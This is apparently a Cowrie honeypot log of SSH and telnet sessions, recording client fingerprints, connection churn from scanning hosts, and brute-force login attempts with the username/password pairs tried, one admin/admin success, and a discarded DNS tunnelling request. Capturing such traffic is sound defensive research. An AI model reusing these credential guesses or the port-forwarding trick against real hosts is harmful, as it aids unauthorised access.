{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:38.305922Z","src_ip":"203.90.110.186","session":"3a906082881b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.148144483566284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:38.408443Z","src_ip":"213.129.84.225","session":"aa818171b89c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59720,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9b889d97a55","protocol":"telnet","message":"New connection: 213.129.84.225:59720 (159.203.135.109:23) [session: e9b889d97a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:38.904593Z"}
{"eventid":"cowrie.session.closed","duration":31.110758543014526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:39.168066Z","src_ip":"213.129.84.225","session":"fae9eea87340","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza123456","message":"login attempt [reza/reza123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:39.279911Z","src_ip":"203.90.110.186","session":"3a906082881b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.302085161209106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:40.047335Z","src_ip":"213.129.84.225","session":"0a30526e0785","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:40.528842Z","src_ip":"203.90.110.186","session":"3a906082881b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42132,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e1a03b066ef","protocol":"telnet","message":"New connection: 213.129.84.225:42132 (159.203.135.109:23) [session: 5e1a03b066ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:41.201484Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50700,"dst_ip":"159.203.135.109","dst_port":23,"session":"817daab324a9","protocol":"telnet","message":"New connection: 213.129.84.225:50700 (159.203.135.109:23) [session: 817daab324a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:43.040444Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12208,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b8d20c11414","protocol":"ssh","message":"New connection: 87.251.64.176:12208 (10.17.0.5:22) [session: 1b8d20c11414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:46.031505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:46.036941Z","src_ip":"87.251.64.176","session":"1b8d20c11414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:46.134936Z","src_ip":"87.251.64.176","session":"1b8d20c11414","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:46.423786Z","src_ip":"87.251.64.176","session":"1b8d20c11414","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:46.522820Z","session":"1b8d20c11414","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:46.620569Z","src_ip":"87.251.64.176","session":"1b8d20c11414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:46.720379Z","src_ip":"87.251.64.176","session":"1b8d20c11414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.560845136642456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:47.041829Z","src_ip":"213.129.84.225","session":"3a3890865e26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749107360839844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:48.244281Z","src_ip":"213.129.84.225","session":"59f6a0ff2734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50244,"dst_ip":"159.203.135.109","dst_port":23,"session":"69816cb477e9","protocol":"telnet","message":"New connection: 213.129.84.225:50244 (159.203.135.109:23) [session: 69816cb477e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:48.992604Z"}
{"eventid":"cowrie.session.closed","duration":30.610333681106567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:49.064588Z","src_ip":"213.129.84.225","session":"beda51be2367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981422901153564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:49.082800Z","src_ip":"213.129.84.225","session":"926a5be1adee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51702,"dst_ip":"159.203.135.109","dst_port":23,"session":"f25b4cf59ccc","protocol":"telnet","message":"New connection: 213.129.84.225:51702 (159.203.135.109:23) [session: f25b4cf59ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:49.271358Z"}
{"eventid":"cowrie.session.closed","duration":49.96414518356323,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:50.533662Z","src_ip":"137.184.155.248","session":"5c6ad653b111","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331560373306274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:51.737293Z","src_ip":"213.129.84.225","session":"960baa4ef9d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.921076774597168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:51.816946Z","src_ip":"213.129.84.225","session":"86b9b45c1f5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93125605583191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:53.133414Z","src_ip":"213.129.84.225","session":"8b509afd68c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746540784835815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:54.140204Z","src_ip":"213.129.84.225","session":"fc072de43f62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678985595703125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:56.301368Z","src_ip":"213.129.84.225","session":"d89a196f6573","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":57236,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d32df8f6531","protocol":"ssh","message":"New connection: 202.125.94.71:57236 (159.203.135.109:22) [session: 0d32df8f6531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:58.607418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:58.615086Z","src_ip":"202.125.94.71","session":"0d32df8f6531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37508,"dst_ip":"159.203.135.109","dst_port":23,"session":"801cb9c9247d","protocol":"telnet","message":"New connection: 213.129.84.225:37508 (159.203.135.109:23) [session: 801cb9c9247d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:58.620937Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":40726,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc660e93688","protocol":"ssh","message":"New connection: 41.86.34.139:40726 (10.17.0.5:22) [session: afc660e93688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:58.810768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:58.815809Z","src_ip":"41.86.34.139","session":"afc660e93688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:58.874203Z","src_ip":"202.125.94.71","session":"0d32df8f6531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:59.023519Z","src_ip":"41.86.34.139","session":"afc660e93688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55876135826111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:59.352798Z","src_ip":"213.129.84.225","session":"c6293b8d0ea4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37448,"dst_ip":"159.203.135.109","dst_port":23,"session":"9993a653f323","protocol":"telnet","message":"New connection: 213.129.84.225:37448 (159.203.135.109:23) [session: 9993a653f323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:59.611226Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2023","message":"login attempt [ubuntu/ubuntu@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:59.884895Z","src_ip":"41.86.34.139","session":"afc660e93688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysadmin","message":"login attempt [root/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:59.942228Z","src_ip":"202.125.94.71","session":"0d32df8f6531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.219521522521973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:00.115693Z","src_ip":"213.129.84.225","session":"c7c428f2de50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:01.094702Z","src_ip":"41.86.34.139","session":"afc660e93688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:01.205082Z","src_ip":"202.125.94.71","session":"0d32df8f6531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.852874517440796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:02.069703Z","src_ip":"213.129.84.225","session":"083fa792d22e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59028,"dst_ip":"159.203.135.109","dst_port":23,"session":"792dec4b620c","protocol":"telnet","message":"New connection: 213.129.84.225:59028 (159.203.135.109:23) [session: 792dec4b620c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:03.189389Z"}
{"eventid":"cowrie.session.closed","duration":30.98040199279785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:05.125627Z","src_ip":"213.129.84.225","session":"52f62d6a051b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.331642866134644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:05.233594Z","src_ip":"213.129.84.225","session":"55f1a62a468d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40992,"dst_ip":"159.203.135.109","dst_port":23,"session":"08285de7be3a","protocol":"telnet","message":"New connection: 213.129.84.225:40992 (159.203.135.109:23) [session: 08285de7be3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:05.329478Z"}
{"eventid":"cowrie.session.closed","duration":30.815587043762207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:06.161685Z","src_ip":"213.129.84.225","session":"aca7192890c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78561019897461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:07.080951Z","src_ip":"213.129.84.225","session":"97efafe0da87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":60020,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab881ce03c5","protocol":"ssh","message":"New connection: 58.186.20.101:60020 (10.17.0.5:22) [session: bab881ce03c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:08.176786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:08.181652Z","src_ip":"58.186.20.101","session":"bab881ce03c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55230,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff5f0823dd17","protocol":"telnet","message":"New connection: 213.129.84.225:55230 (159.203.135.109:23) [session: ff5f0823dd17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:08.393426Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:08.440209Z","src_ip":"58.186.20.101","session":"bab881ce03c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.31322145462036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:09.217713Z","src_ip":"213.129.84.225","session":"e9b889d97a55","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian2022","message":"login attempt [debian/debian2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:10.198637Z","src_ip":"58.186.20.101","session":"bab881ce03c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":38946,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9a402c603e3","protocol":"telnet","message":"New connection: 213.129.84.225:38946 (159.203.135.109:23) [session: a9a402c603e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:11.027144Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:11.455890Z","src_ip":"58.186.20.101","session":"bab881ce03c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.65047311782837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:12.851834Z","src_ip":"213.129.84.225","session":"5e1a03b066ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.06877136230469,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:13.110275Z","src_ip":"137.184.155.248","session":"095f148f58fd","protocol":"telnet"}
